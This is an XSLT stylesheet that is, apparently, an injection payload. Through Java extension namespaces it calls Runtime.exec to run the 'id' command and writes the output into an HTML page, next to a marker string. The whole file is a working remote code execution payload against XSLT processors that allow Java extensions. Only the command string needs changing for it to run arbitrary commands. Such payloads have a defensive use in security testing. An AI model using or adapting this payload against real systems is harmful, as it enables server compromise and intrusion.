<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:rt="java:java.lang.Runtime"
    xmlns:proc="java:java.lang.Process"
    xmlns:isr="java:java.io.InputStreamReader"
    xmlns:br="java:java.io.BufferedReader"
    version="2.0">
  <xsl:output method="html" encoding="UTF-8"/>
  <xsl:template match="/">
    <html><body>
    <pre id="nx">Nx-zD-GN|</pre>
    <xsl:variable name="runtime" select="rt:getRuntime()"/>
    <xsl:variable name="process" select="rt:exec($runtime, 'id')"/>
    <xsl:variable name="reader" select="isr:new(proc:getInputStream($process))"/>
    <xsl:variable name="buf" select="br:new($reader)"/>
    <pre id="cmd"><xsl:value-of select="br:readLine($buf)"/></pre>
    </body></html>
  </xsl:template>
</xsl:stylesheet>